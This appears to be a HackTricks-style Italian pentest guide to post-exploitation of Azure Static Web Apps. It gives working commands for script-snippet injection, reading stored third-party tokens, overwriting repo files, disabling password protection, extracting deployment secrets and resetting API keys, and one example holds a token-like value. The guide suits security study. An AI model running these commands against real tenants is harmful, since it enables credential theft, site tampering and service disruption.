# Az - Static Web Apps Post Exploitation {{#include ../../../banners/hacktricks-training.md}} ## Azure Static Web Apps Per ulteriori informazioni su questo servizio, controlla: {{#ref}} ../az-services/az-static-web-apps.md {{#endref}} ### Microsoft.Web/staticSites/snippets/write È possibile far caricare a una pagina web statica codice HTML arbitrario creando uno snippet. Questo potrebbe consentire a un attaccante di iniettare codice JS all'interno dell'app web e rubare informazioni sensibili come credenziali o chiavi mnemoniche (in portafogli web3). Il seguente comando crea uno snippet che sarà sempre caricato dall'app web:: ```bash az rest \ --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//snippets/?api-version=2022-03-01" \ --headers "Content-Type=application/json" \ --body '{ "properties": { "name": "supersnippet", "location": "Body", "applicableEnvironmentsMode": "AllEnvironments", "content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K", "environments": [], "insertBottom": false } }' ``` ### Leggi le credenziali di terze parti configurate Come spiegato nella sezione App Service: {{#ref}} ../az-privilege-escalation/az-app-services-privesc.md {{#endref}} Eseguendo il seguente comando è possibile **leggere le credenziali di terze parti** configurate nell'account attuale. Nota che, ad esempio, se alcune credenziali di Github sono configurate in un utente diverso, non sarai in grado di accedere al token da un altro. ```bash az rest --method GET \ --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" ``` Questo comando restituisce token per Github, Bitbucket, Dropbox e OneDrive. Ecco alcuni esempi di comandi per controllare i token: ```bash # GitHub – List Repositories curl -H "Authorization: token " \ -H "Accept: application/vnd.github.v3+json" \ https://api.github.com/user/repos # Bitbucket – List Repositories curl -H "Authorization: Bearer " \ -H "Accept: application/json" \ https://api.bitbucket.org/2.0/repositories # Dropbox – List Files in Root Folder curl -X POST https://api.dropboxapi.com/2/files/list_folder \ -H "Authorization: Bearer " \ -H "Content-Type: application/json" \ --data '{"path": ""}' # OneDrive – List Files in Root Folder curl -H "Authorization: Bearer " \ -H "Accept: application/json" \ https://graph.microsoft.com/v1.0/me/drive/root/children ``` ### Sovrascrivere file - Sovrascrivere percorsi, HTML, JS... È possibile **sovrascrivere un file all'interno del repository Github** contenente l'app tramite Azure inviando una richiesta come la seguente, che indicherà il percorso del file da sovrascrivere, il contenuto del file e il messaggio di commit. Questo può essere sfruttato dagli attaccanti per **cambiare il contenuto dell'app web** per servire contenuti dannosi (rubare credenziali, chiavi mnemoniche...) o semplicemente per **reindirizzare determinati percorsi** ai propri server sovrascrivendo il file `staticwebapp.config.json`. > [!WARNING] > Nota che se un attaccante riesce a compromettere il repository Github in qualsiasi modo, può anche sovrascrivere il file direttamente da Github. ```bash curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \ -H "Content-Type: application/json" \ -d '{ "commit": { "message": "Update static web app route configuration", "branchName": "main", "committer": { "name": "Azure App Service", "email": "donotreply@microsoft.com" }, "contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==", "filePath": "staticwebapp.config.json", "message": "Update static web app route configuration", "repoName": "carlospolop/my-first-static-web-app", "sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4" }, "gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL" }' ``` ### Microsoft.Web/staticSites/config/write Con questo permesso, è possibile **modificare la password** che protegge un'app web statica o addirittura rimuovere la protezione da ogni ambiente inviando una richiesta come la seguente: ```bash # Change password az rest --method put \ --url "/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//config/basicAuth?api-version=2021-03-01" \ --headers 'Content-Type=application/json' \ --body '{ "name": "basicAuth", "type": "Microsoft.Web/staticSites/basicAuth", "properties": { "password": "SuperPassword123.", "secretUrl": "", "applicableEnvironmentsMode": "AllEnvironments" } }' # Remove the need of a password az rest --method put \ --url "/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//config/basicAuth?api-version=2021-03-01" \ --headers 'Content-Type=application/json' \ --body '{ "name": "basicAuth", "type": "Microsoft.Web/staticSites/basicAuth", "properties": { "secretUrl": "", "applicableEnvironmentsMode": "SpecifiedEnvironments", "secretState": "None" } }' ``` ### Microsoft.Web/staticSites/listSecrets/action Questo permesso consente di ottenere il **token di distribuzione della chiave API** per l'app statica. Questo token consente di distribuire l'app. ```bash az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//listSecrets?api-version=2023-01-01" ``` Poi, per aggiornare un'app, puoi eseguire il seguente comando. Nota che questo comando è stato estratto controllando **come funziona Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)**, poiché è quello impostato da Azure per impostazione predefinita. Quindi l'immagine e i parametri potrebbero cambiare in futuro. 1. Scarica il repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (o qualsiasi altro repo che desideri distribuire) ed esegui `cd react-basic`. 2. Modifica il codice che desideri distribuire 3. Distribuiscilo eseguendo (Ricorda di cambiare il ``): ```bash docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN= INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose ``` ### Microsoft.Web/staticSites/write Con questo permesso è possibile **cambiare la sorgente dell'app web statica in un diverso repository Github**, tuttavia, non verrà automaticamente fornito poiché questo deve essere fatto da un'azione Github di solito con il token che ha autorizzato l'azione poiché questo token non viene aggiornato automaticamente all'interno dei segreti Github del repository (viene semplicemente aggiunto automaticamente quando l'app viene creata). ```bash az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main ``` ### Microsoft.Web/staticSites/resetapikey/action Con questo permesso è possibile **reimpostare la chiave API dell'app web statica**, potenzialmente causando un DoS ai flussi di lavoro che distribuiscono automaticamente l'app. ```bash az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//resetapikey?api-version=2019-08-01" ``` {{#include ../../../banners/hacktricks-training.md}}